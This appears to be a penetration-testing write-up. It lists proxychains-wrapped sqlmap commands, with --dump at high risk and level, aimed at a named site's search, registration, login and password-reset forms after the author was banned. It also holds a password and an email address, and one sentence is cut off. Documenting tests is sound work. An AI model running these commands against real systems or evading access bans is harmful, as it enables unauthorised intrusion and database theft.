
So, using proxychains, I managed to access the website after I had been
banned.

I tried to find sql injection vulnerabilities on any of the pages that allowed or
asked for user input. Here are the commands I tried. As you probably
guessed, no vulnerabilities were discovered.

The results showed that the server was

The search page
proxychains sqlmap -u
"https://daedalus-systems.tech-sourcery.co.uk/index.php?route=prod
uct/search&search=knob"

The register new user page
proxychains sqlmap -u
"https://daedalus-systems.tech-sourcery.co.uk/index.php?route-acco
unt/register" --data
"-----------------------------312160266724025450251944745644\nCont
ent-Disposition: form-data;
name=\"password\"\n\npassword\n-----------------------------312160
266724025450251944745644\nContent-Disposition: form-data;
name=\"confirm\"\n\npassword\n-----------------------------3121602
66724025450251944745644--\n\n-----------------------------41895940
2723251904713225479109\nContent-Disposition: form-data;
name=\"agree\"\n\n1\n-----------------------------4189594027232519
04713225479109--\n" --risk 3 --level 5 --dbms mysql --dump

The user login page
proxychains sqlmap -u
"https://daedalus-systems.tech-sourcery.co.uk/index.php?route-acco
unt/login" -data
"-----------------------------10225344102476555895450749570\nConte
nt-Disposition: form-data;
name=\"email\"\n\nAidan\n-----------------------------102253441024
76555895450749570\nContent-Disposition: form-data;
name=\"password\"\n\nJy4PHubZ9zLpJxm\n----------------------------
-10225344102476555895450749570--"\n

The forgot my password page
1879  proxychains sqlmap -u

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route=acco
unt/forgotten" -data
"-----------------------------231960497037379637281406524027\nCont
ent-Disposition: form-data;
name="email"\n\nredyelruc1@hotmail.com\n--------------------------



---231960497037379637281406524027--"\n --level 5 --dbms mysql
--dump --tamper\n
1880  proxychains sqlmap -u

"https://daedalus-systems.tech-sourcery.co.uk/index.php?route=acco
unt/forgotten" -data
"-----------------------------231960497037379637281406524027\nCont
ent-Disposition: form-data;
name="email"\n\nredyelruc1@hotmail.com\n--------------------------
---231960497037379637281406524027--" --risk 3 --level 5 --dbms
mysql --dump --tamper\n


